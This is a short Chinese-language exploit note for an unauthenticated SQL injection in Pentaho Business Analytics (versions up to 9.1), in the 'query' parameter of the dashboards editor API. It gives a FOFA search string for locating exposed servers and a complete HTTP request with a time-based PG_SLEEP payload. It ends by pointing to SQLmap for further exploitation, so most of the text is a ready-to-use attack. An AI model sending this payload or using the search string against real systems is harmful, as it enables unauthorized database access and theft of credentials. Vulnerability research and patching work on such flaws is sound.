P8-1Pentaho-业务分析平台-SQL

漏洞描述：

Pentaho 业务分析平台在/pentaho/api/repos/dashboards/editor路径query参数存在SQL注入漏洞，攻击者可未授权执行任意SQL语句，获取账号密码等敏感信息，进一步接管系统。

影响版本：

 Pentaho <= 9.1  

网站图片:

网络测绘:

fofa语法：

FOFA：app=“Pentaho-用户控制台”

漏洞复现:

payload：

GET /pentaho/api/repos/dashboards/editor?command=executeQuery&datasource=pentaho_operations_mart&require-cfg.js&query=%3BSELECT+PG_SLEEP%288%29-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Accept-Encoding: gzip

效果图:
延时8秒 （PG_SLEEP(8)）

SQLmap利用